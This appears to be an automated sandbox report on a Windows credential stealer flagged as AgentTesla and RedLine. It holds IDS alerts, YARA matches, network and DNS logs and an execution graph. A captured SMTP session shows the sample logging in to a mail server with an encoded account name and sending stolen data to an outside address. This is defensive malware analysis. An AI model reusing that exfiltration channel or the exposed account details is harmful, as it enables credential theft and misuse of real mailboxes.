                            ADVAPI32.dllRegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
                            SHELL32.dllDragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                            ole32.dllOleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
                            OLEAUT32.dllSafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData
                            Language of compilation systemCountry where language is spokenMap
                            EnglishGreat Britain
                            EnglishUnited States
                            TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                            2024-11-07T13:14:16.189017+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow1172.202.163.200443192.168.2.649742TCP
                            2024-11-07T13:14:54.228720+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow1172.202.163.200443192.168.2.649944TCP
                            2024-11-07T13:15:41.625828+01002030171ET MALWARE AgentTesla Exfil Via SMTP1192.168.2.649709162.251.80.30587TCP
                            2024-11-07T13:15:41.625828+01002839723ETPRO MALWARE Win32/Agent Tesla SMTP Activity1192.168.2.649709162.251.80.30587TCP
                            TimestampSource PortDest PortSource IPDest IP
                            Nov 7, 2024 13:14:01.531987906 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:01.536808968 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:01.536911011 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:02.231168985 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:02.232275963 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:02.237131119 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:02.402198076 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:02.403317928 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:02.408135891 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:02.578839064 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:02.609983921 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:02.614996910 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.007147074 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.007447958 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:03.012259007 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.170136929 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.170502901 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:03.175318956 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.491950035 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.492139101 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:03.497062922 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.649466991 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.650206089 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:03.650260925 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:03.650269985 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:03.650288105 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:14:03.655056953 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.655066967 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.655139923 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.655143976 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.832523108 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:14:03.873505116 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:15:41.266577959 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:15:41.271356106 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:15:41.625591040 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:15:41.625828028 CET49709587192.168.2.6162.251.80.30
                            Nov 7, 2024 13:15:41.631274939 CET58749709162.251.80.30192.168.2.6
                            Nov 7, 2024 13:15:41.631356955 CET49709587192.168.2.6162.251.80.30
                            TimestampSource PortDest PortSource IPDest IP
                            Nov 7, 2024 13:14:01.236583948 CET6084053192.168.2.61.1.1.1
                            Nov 7, 2024 13:14:01.524533987 CET53608401.1.1.1192.168.2.6
                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                            Nov 7, 2024 13:14:01.236583948 CET192.168.2.61.1.1.10x8c16Standard query (0)mail.thelamalab.comA (IP address)IN (0x0001)false
                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                            Nov 7, 2024 13:14:01.524533987 CET1.1.1.1192.168.2.60x8c16No error (0)mail.thelamalab.com162.251.80.30A (IP address)IN (0x0001)false
                            TimestampSource PortDest PortSource IPDest IPCommands
                            Nov 7, 2024 13:14:02.231168985 CET58749709162.251.80.30192.168.2.6220-md-114.webhostbox.net ESMTP Exim 4.96.2 #2 Thu, 07 Nov 2024 17:44:02 +0530
                            220-We do not authorize the use of this system to transport unsolicited,
                            220 and/or bulk e-mail.
                            Nov 7, 2024 13:14:02.232275963 CET49709587192.168.2.6162.251.80.30EHLO 648351
                            Nov 7, 2024 13:14:02.402198076 CET58749709162.251.80.30192.168.2.6250-md-114.webhostbox.net Hello 648351 [173.254.250.79]
                            250-SIZE 52428800
                            250-8BITMIME
                            250-PIPELINING
                            250-PIPECONNECT
                            250-AUTH PLAIN LOGIN
                            250-STARTTLS
                            250 HELP
                            Nov 7, 2024 13:14:02.403317928 CET49709587192.168.2.6162.251.80.30AUTH login YmlsbGluZ0B0aGVsYW1hbGFiLmNvbQ==
                            Nov 7, 2024 13:14:02.578839064 CET58749709162.251.80.30192.168.2.6334 UGFzc3dvcmQ6
                            Nov 7, 2024 13:14:03.007147074 CET58749709162.251.80.30192.168.2.6235 Authentication succeeded
                            Nov 7, 2024 13:14:03.007447958 CET49709587192.168.2.6162.251.80.30MAIL FROM:<billing@thelamalab.com>
                            Nov 7, 2024 13:14:03.170136929 CET58749709162.251.80.30192.168.2.6250 OK
                            Nov 7, 2024 13:14:03.170502901 CET49709587192.168.2.6162.251.80.30RCPT TO:<jinhux31@gmail.com>
                            Nov 7, 2024 13:14:03.491950035 CET58749709162.251.80.30192.168.2.6250 Accepted
                            Nov 7, 2024 13:14:03.492139101 CET49709587192.168.2.6162.251.80.30DATA
                            Nov 7, 2024 13:14:03.649466991 CET58749709162.251.80.30192.168.2.6354 Enter message, ending with "." on a line by itself
                            Nov 7, 2024 13:14:03.650288105 CET49709587192.168.2.6162.251.80.30.
                            Nov 7, 2024 13:14:03.832523108 CET58749709162.251.80.30192.168.2.6250 OK id=1t91Ol-003uxp-1p
                            Nov 7, 2024 13:15:41.266577959 CET49709587192.168.2.6162.251.80.30QUIT
                            Nov 7, 2024 13:15:41.625591040 CET58749709162.251.80.30192.168.2.6221 md-114.webhostbox.net closing connection

                            Click to jump to process

                            Click to jump to process

                            Click to dive into process behavior distribution

                            Click to jump to process

                            Target ID:0
                            Start time:07:13:57
                            Start date:07/11/2024
                            Path:C:\Users\user\Desktop\w6dnPra4mx.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Users\user\Desktop\w6dnPra4mx.exe"
                            Imagebase:0x400000
                            File size:1'264'127 bytes
                            MD5 hash:2BCD76AC1FAABD3B89AF0B04A5D648C2
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000000.00000002.2119261873.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
                            Reputation:low
                            Has exited:true

                            Target ID:2
                            Start time:07:13:58
                            Start date:07/11/2024
                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Users\user\Desktop\w6dnPra4mx.exe"
                            Imagebase:0x480000
                            File size:45'984 bytes
                            MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                            Has elevated privileges:true
                            Has administrator privileges:true
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3360881301.000000000289F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3360881301.00000000028A7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                            • Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                            • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000002.00000002.3359746953.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: ditekSHen
                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3360881301.0000000002851000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3360881301.0000000002851000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                            • Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                            Reputation:high
                            Has exited:false

                            Reset < >

                              Execution Graph

                              Execution Coverage:2.9%
                              Dynamic/Decrypted Code Coverage:1.3%
                              Signature Coverage:4.8%
                              Total number of Nodes:1403
                              Total number of Limit Nodes:31
                              execution_graph 84717 40f110 RegOpenKeyExW 84718 40f13c RegQueryValueExW RegCloseKey 84717->84718 84719 40f15f 84717->84719 84718->84719 84720 429212 84725 410b90 84720->84725 84726 410b9a __write_nolock 84725->84726 84745 41171a 84726->84745 84730 410c66 _wcsncat 84760 413e3c 84730->84760 84733 41171a 75 API calls 84734 410ca3 _wcscpy 84733->84734 84735 410cd1 RegOpenKeyExW 84734->84735 84736 429bc3 RegQueryValueExW 84735->84736 84737 410cf7 84735->84737 84738 429cd9 RegCloseKey 84736->84738 84740 429bf2 _wcscat _wcslen _wcsncpy 84736->84740 84742 411421 84737->84742 84739 41171a 75 API calls 84739->84740 84740->84739 84741 429cd8 84740->84741 84741->84738 84835 4113e5 84742->84835 84744 41142e 84747 411724 84745->84747 84748 410c31 GetModuleFileNameW 84747->84748 84753 411740 std::bad_alloc::bad_alloc 84747->84753 84763 4138ba 84747->84763 84781 411afc 6 API calls __decode_pointer 84747->84781 84757 413db0 84748->84757 84750 411766 84782 4116fd 67 API calls std::exception::exception 84750->84782 84752 411770 84783 41805b RaiseException 84752->84783 84753->84750 84755 411421 __cinit 74 API calls 84753->84755 84755->84750 84756 41177e 84793 413b95 84757->84793 84823 41abec 84760->84823 84764 41396d 84763->84764 84774 4138cc 84763->84774 84791 411afc 6 API calls __decode_pointer 84764->84791 84766 413973 84792 417f23 67 API calls __getptd_noexit 84766->84792 84771 413929 RtlAllocateHeap 84771->84774 84772 4138dd 84772->84774 84784 418252 67 API calls 2 library calls 84772->84784 84785 4180a7 67 API calls 7 library calls 84772->84785 84786 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84772->84786 84774->84771 84774->84772 84775 413959 84774->84775 84778 41395e 84774->84778 84780 413965 84774->84780 84787 41386b 67 API calls 4 library calls 84774->84787 84788 411afc 6 API calls __decode_pointer 84774->84788 84789 417f23 67 API calls __getptd_noexit 84775->84789 84790 417f23 67 API calls __getptd_noexit 84778->84790 84780->84747 84781->84747 84782->84752 84783->84756 84784->84772 84785->84772 84787->84774 84788->84774 84789->84778 84790->84780 84791->84766 84792->84780 84794 413c2f 84793->84794 84799 413bae 84793->84799 84795 413d60 84794->84795 84796 413d7b 84794->84796 84819 417f23 67 API calls __getptd_noexit 84795->84819 84821 417f23 67 API calls __getptd_noexit 84796->84821 84799->84794 84809 413c1d 84799->84809 84815 41ab19 67 API calls __controlfp_s 84799->84815 84800 413d65 84805 413cfb 84800->84805 84820 417ebb 6 API calls 2 library calls 84800->84820 84803 413d03 84803->84794 84803->84805 84807 413d8e 84803->84807 84804 413cb9 84804->84794 84806 413cd6 84804->84806 84817 41ab19 67 API calls __controlfp_s 84804->84817 84805->84730 84806->84794 84806->84805 84811 413cef 84806->84811 84822 41ab19 67 API calls __controlfp_s 84807->84822 84809->84794 84814 413c9b 84809->84814 84816 41ab19 67 API calls __controlfp_s 84809->84816 84818 41ab19 67 API calls __controlfp_s 84811->84818 84814->84803 84814->84804 84815->84809 84816->84814 84817->84806 84818->84805 84819->84800 84821->84800 84822->84805 84824 41ac02 84823->84824 84825 41abfd 84823->84825 84832 417f23 67 API calls __getptd_noexit 84824->84832 84825->84824 84827 41ac22 84825->84827 84831 410c99 84827->84831 84834 417f23 67 API calls __getptd_noexit 84827->84834 84828 41ac07 84833 417ebb 6 API calls 2 library calls 84828->84833 84831->84733 84832->84828 84834->84828 84836 4113f1 __fcloseall 84835->84836 84843 41181b 84836->84843 84842 411412 __fcloseall 84842->84744 84869 418407 84843->84869 84845 4113f6 84846 4112fa 84845->84846 84934 4169e9 TlsGetValue 84846->84934 84849 4169e9 __decode_pointer 6 API calls 84850 41131e 84849->84850 84860 4113a1 84850->84860 84944 4170e7 68 API calls 5 library calls 84850->84944 84852 41133c 84854 411357 84852->84854 84855 411366 84852->84855 84865 411388 84852->84865 84853 41696e __encode_pointer 6 API calls 84856 411396 84853->84856 84945 417047 73 API calls _realloc 84854->84945 84859 411360 84855->84859 84855->84860 84857 41696e __encode_pointer 6 API calls 84856->84857 84857->84860 84859->84855 84862 41137c 84859->84862 84946 417047 73 API calls _realloc 84859->84946 84866 41141b 84860->84866 84947 41696e TlsGetValue 84862->84947 84863 411376 84863->84860 84863->84862 84865->84853 84959 411824 84866->84959 84870 41841c 84869->84870 84871 41842f EnterCriticalSection 84869->84871 84876 418344 84870->84876 84871->84845 84873 418422 84873->84871 84904 4117af 67 API calls 3 library calls 84873->84904 84875 41842e 84875->84871 84877 418350 __fcloseall 84876->84877 84878 418360 84877->84878 84879 418378 84877->84879 84905 418252 67 API calls 2 library calls 84878->84905 84887 418386 __fcloseall 84879->84887 84908 416fb6 84879->84908 84882 418365 84906 4180a7 67 API calls 7 library calls 84882->84906 84885 4183a7 84890 418407 __lock 67 API calls 84885->84890 84886 418398 84914 417f23 67 API calls __getptd_noexit 84886->84914 84887->84873 84888 41836c 84907 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84888->84907 84892 4183ae 84890->84892 84894 4183e2 84892->84894 84895 4183b6 84892->84895 84896 413a88 ___free_lconv_num 67 API calls 84894->84896 84915 4189e6 InitializeCriticalSectionAndSpinCount __fcloseall 84895->84915 84898 4183d3 84896->84898 84930 4183fe LeaveCriticalSection _doexit 84898->84930 84899 4183c1 84899->84898 84916 413a88 84899->84916 84902 4183cd 84929 417f23 67 API calls __getptd_noexit 84902->84929 84904->84875 84905->84882 84906->84888 84910 416fbf 84908->84910 84909 4138ba _malloc 66 API calls 84909->84910 84910->84909 84911 416ff5 84910->84911 84912 416fd6 Sleep 84910->84912 84911->84885 84911->84886 84913 416feb 84912->84913 84913->84910 84913->84911 84914->84887 84915->84899 84917 413a94 __fcloseall 84916->84917 84918 413ad3 84917->84918 84920 418407 __lock 65 API calls 84917->84920 84924 413b0d __fcloseall __dosmaperr 84917->84924 84919 413ae8 RtlFreeHeap 84918->84919 84918->84924 84921 413afa 84919->84921 84919->84924 84926 413aab ___sbh_find_block 84920->84926 84933 417f23 67 API calls __getptd_noexit 84921->84933 84923 413aff GetLastError 84923->84924 84924->84902 84925 413ac5 84932 413ade LeaveCriticalSection _doexit 84925->84932 84926->84925 84931 419f9d __VEC_memcpy VirtualFree VirtualFree HeapFree __shift 84926->84931 84929->84898 84930->84887 84931->84925 84932->84918 84933->84923 84935 416a01 84934->84935 84936 416a22 GetModuleHandleW 84934->84936 84935->84936 84939 416a0b TlsGetValue 84935->84939 84937 416a32 84936->84937 84938 416a3d GetProcAddress 84936->84938 84957 41177f Sleep GetModuleHandleW 84937->84957 84941 41130e 84938->84941 84943 416a16 84939->84943 84941->84849 84942 416a38 84942->84938 84942->84941 84943->84936 84943->84941 84944->84852 84945->84859 84946->84863 84948 4169a7 GetModuleHandleW 84947->84948 84949 416986 84947->84949 84950 4169c2 GetProcAddress 84948->84950 84951 4169b7 84948->84951 84949->84948 84952 416990 TlsGetValue 84949->84952 84955 41699f 84950->84955 84958 41177f Sleep GetModuleHandleW 84951->84958 84956 41699b 84952->84956 84954 4169bd 84954->84950 84954->84955 84955->84865 84956->84948 84956->84955 84957->84942 84958->84954 84962 41832d LeaveCriticalSection 84959->84962 84961 411420 84961->84842 84962->84961 84963 409030 84977 409110 117 API calls 84963->84977 84965 42ceb6 84991 410ae0 VariantClear ctype 84965->84991 84967 40906e 84967->84965 84969 42cea9 84967->84969 84971 4090a4 84967->84971 84968 42cebf 84990 45e62e 116 API calls 3 library calls 84969->84990 84978 404160 84971->84978 84974 4090f0 ctype 84976 4090be ctype 84976->84974 84986 4092c0 84976->84986 84977->84967 84979 4092c0 VariantClear 84978->84979 84980 40416e 84979->84980 84992 404120 84980->84992 84982 40419b 84996 4734b7 84982->84996 85038 40efe0 84982->85038 84983 4041c6 84983->84965 84983->84976 84987 4092c8 ctype 84986->84987 84988 429db0 VariantClear 84987->84988 84989 4092d5 ctype 84987->84989 84988->84989 84989->84976 84990->84965 84991->84968 84993 40412e 84992->84993 84994 4092c0 VariantClear 84993->84994 84995 404138 84994->84995 84995->84982 85046 453063 84996->85046 84999 473545 85050 463c42 84999->85050 85000 47350c 85002 4092c0 VariantClear 85000->85002 85008 473514 85002->85008 85003 473558 85004 47355c 85003->85004 85020 473595 85003->85020 85005 4092c0 VariantClear 85004->85005 85014 473564 85005->85014 85006 473616 85063 463d7e 85006->85063 85008->84983 85009 473622 85011 473697 85009->85011 85012 47362c 85009->85012 85010 453063 111 API calls 85010->85020 85095 457838 85011->85095 85015 4092c0 VariantClear 85012->85015 85014->84983 85018 473634 85015->85018 85018->84983 85019 473655 85023 4092c0 VariantClear 85019->85023 85020->85006 85020->85010 85020->85019 85107 462f5a 87 API calls __wcsicoll 85020->85107 85032 47365d 85023->85032 85024 4736b0 85108 45e62e 116 API calls 3 library calls 85024->85108 85025 4736c9 85109 40e7e0 76 API calls 85025->85109 85028 4736ba GetCurrentProcess TerminateProcess 85028->85025 85029 4736db 85035 4736ff 85029->85035 85110 40d030 76 API calls 85029->85110 85031 4736f1 85111 46b945 134 API calls 2 library calls 85031->85111 85032->84983 85037 473731 85035->85037 85112 40d030 76 API calls 85035->85112 85113 46b945 134 API calls 2 library calls 85035->85113 85037->84983 85039 40eff5 CreateFileW 85038->85039 85040 4299bf 85038->85040 85042 40f017 85039->85042 85041 4299c4 CreateFileW 85040->85041 85040->85042 85041->85042 85043 4299ea 85041->85043 85042->84983 85158 40e0d0 SetFilePointerEx SetFilePointerEx 85043->85158 85045 4299f5 85045->85042 85047 45306e 85046->85047 85048 45307a 85046->85048 85047->85048 85114 452e2a 111 API calls 5 library calls 85047->85114 85048->84999 85048->85000 85115 45335b 76 API calls 85050->85115 85052 463c5d 85116 442c52 80 API calls _wcslen 85052->85116 85054 463c72 85062 463cac 85054->85062 85117 40c060 85054->85117 85059 463ca4 85123 40c740 85059->85123 85061 463cf7 85061->85003 85062->85061 85128 462f5a 87 API calls __wcsicoll 85062->85128 85064 453063 111 API calls 85063->85064 85065 463d99 85064->85065 85066 463de0 85065->85066 85067 463dca 85065->85067 85140 40c760 78 API calls 85066->85140 85139 453081 111 API calls 85067->85139 85070 463dd0 LoadLibraryW 85072 463e09 85070->85072 85071 463de7 85089 463e19 85071->85089 85141 40c760 78 API calls 85071->85141 85074 463e3e 85072->85074 85072->85089 85076 463e4e 85074->85076 85077 463e7b 85074->85077 85075 463dfb 85075->85089 85142 40c760 78 API calls 85075->85142 85143 40d500 75 API calls 85076->85143 85145 40c760 78 API calls 85077->85145 85081 463e57 85144 45efe7 77 API calls ctype 85081->85144 85082 463e82 GetProcAddress 85084 463e90 85082->85084 85086 463e79 85084->85086 85084->85089 85085 463e62 GetProcAddress 85085->85086 85086->85084 85146 403470 75 API calls _memcpy_s 85086->85146 85088 463eb4 85147 40d500 75 API calls 85088->85147 85089->85009 85091 463ebd 85148 45efe7 77 API calls ctype 85091->85148 85093 463ec8 GetProcAddress 85149 401330 ctype 85093->85149 85096 457a4c 85095->85096 85102 45785f _strcat _wcslen _wcscpy ctype 85095->85102 85103 410d40 85096->85103 85097 453081 111 API calls 85097->85102 85098 443576 78 API calls 85098->85102 85099 40c760 78 API calls 85099->85102 85100 4138ba 67 API calls _malloc 85100->85102 85102->85096 85102->85097 85102->85098 85102->85099 85102->85100 85150 40f580 85102->85150 85104 410d55 85103->85104 85105 410ded VirtualProtect 85104->85105 85106 410dbb 85104->85106 85105->85106 85106->85024 85106->85025 85107->85020 85108->85028 85109->85029 85110->85031 85111->85035 85112->85035 85113->85035 85114->85048 85115->85052 85116->85054 85118 41171a 75 API calls 85117->85118 85119 40c088 85118->85119 85120 41171a 75 API calls 85119->85120 85121 40c096 85120->85121 85122 4608ce 75 API calls _memcpy_s 85121->85122 85122->85059 85124 40c752 85123->85124 85125 40c747 85123->85125 85124->85062 85125->85124 85129 402ae0 85125->85129 85127 42a572 _memcpy_s 85127->85062 85128->85061 85130 42a06a 85129->85130 85131 402aef 85129->85131 85136 401380 85130->85136 85131->85127 85133 42a072 85134 41171a 75 API calls 85133->85134 85135 42a095 _memcpy_s 85134->85135 85135->85127 85137 41171a 75 API calls 85136->85137 85138 401387 85137->85138 85138->85133 85139->85070 85140->85071 85141->85075 85142->85072 85143->85081 85144->85085 85145->85082 85146->85088 85147->85091 85148->85093 85149->85089 85151 429440 85150->85151 85152 40f589 _wcslen 85150->85152 85153 40f58f WideCharToMultiByte 85152->85153 85154 40f5d8 85153->85154 85155 40f5ad 85153->85155 85154->85102 85156 41171a 75 API calls 85155->85156 85157 40f5bb WideCharToMultiByte 85156->85157 85157->85102 85158->85045 85159 4444e4 85164 40d900 85159->85164 85161 4444ee 85168 43723d 85161->85168 85163 444504 85165 40d917 85164->85165 85166 40d909 85164->85166 85165->85166 85167 40d91c CloseHandle 85165->85167 85166->85161 85167->85161 85169 40d900 CloseHandle 85168->85169 85170 437247 ctype 85169->85170 85170->85163 85171 4034b0 85172 4034b9 85171->85172 85173 4034bd 85171->85173 85174 41171a 75 API calls 85173->85174 85175 42a0ba 85173->85175 85176 4034fe _memcpy_s ctype 85174->85176 85177 416193 85214 41718c 85177->85214 85179 41619f GetStartupInfoW 85181 4161c2 85179->85181 85215 41aa31 HeapCreate 85181->85215 85183 416212 85217 416e29 GetModuleHandleW 85183->85217 85187 416223 __RTC_Initialize 85251 41b669 85187->85251 85190 416231 85191 41623d GetCommandLineW 85190->85191 85319 4117af 67 API calls 3 library calls 85190->85319 85266 42235f GetEnvironmentStringsW 85191->85266 85194 41623c 85194->85191 85195 41624c 85272 4222b1 GetModuleFileNameW 85195->85272 85197 416256 85200 416261 85197->85200 85320 4117af 67 API calls 3 library calls 85197->85320 85276 422082 85200->85276 85202 416272 85289 41186e 85202->85289 85205 416279 85207 416284 __wwincmdln 85205->85207 85322 4117af 67 API calls 3 library calls 85205->85322 85295 40d7f0 85207->85295 85210 4162b3 85324 411a4b 67 API calls _doexit 85210->85324 85213 4162b8 __fcloseall 85214->85179 85216 416206 85215->85216 85216->85183 85317 41616a 67 API calls 3 library calls 85216->85317 85218 416e44 85217->85218 85219 416e3d 85217->85219 85221 416fac 85218->85221 85222 416e4e GetProcAddress GetProcAddress GetProcAddress GetProcAddress 85218->85222 85325 41177f Sleep GetModuleHandleW 85219->85325 85335 416ad5 70 API calls 2 library calls 85221->85335 85225 416e97 TlsAlloc 85222->85225 85224 416e43 85224->85218 85227 416218 85225->85227 85228 416ee5 TlsSetValue 85225->85228 85227->85187 85318 41616a 67 API calls 3 library calls 85227->85318 85228->85227 85229 416ef6 85228->85229 85326 411a69 6 API calls 4 library calls 85229->85326 85231 416efb 85232 41696e __encode_pointer 6 API calls 85231->85232 85233 416f06 85232->85233 85234 41696e __encode_pointer 6 API calls 85233->85234 85235 416f16 85234->85235 85236 41696e __encode_pointer 6 API calls 85235->85236 85237 416f26 85236->85237 85238 41696e __encode_pointer 6 API calls 85237->85238 85239 416f36 85238->85239 85327 41828b InitializeCriticalSectionAndSpinCount __alloc_osfhnd 85239->85327 85241 416f43 85241->85221 85242 4169e9 __decode_pointer 6 API calls 85241->85242 85243 416f57 85242->85243 85243->85221 85328 416ffb 85243->85328 85246 4169e9 __decode_pointer 6 API calls 85247 416f8a 85246->85247 85247->85221 85248 416f91 85247->85248 85334 416b12 67 API calls 5 library calls 85248->85334 85250 416f99 GetCurrentThreadId 85250->85227 85354 41718c 85251->85354 85253 41b675 GetStartupInfoA 85254 416ffb __calloc_crt 67 API calls 85253->85254 85261 41b696 85254->85261 85255 41b8b4 __fcloseall 85255->85190 85256 41b831 GetStdHandle 85260 41b7fb 85256->85260 85257 416ffb __calloc_crt 67 API calls 85257->85261 85258 41b896 SetHandleCount 85258->85255 85259 41b843 GetFileType 85259->85260 85260->85255 85260->85256 85260->85258 85260->85259 85356 4189e6 InitializeCriticalSectionAndSpinCount __fcloseall 85260->85356 85261->85255 85261->85257 85261->85260 85263 41b77e 85261->85263 85263->85255 85263->85260 85264 41b7a7 GetFileType 85263->85264 85355 4189e6 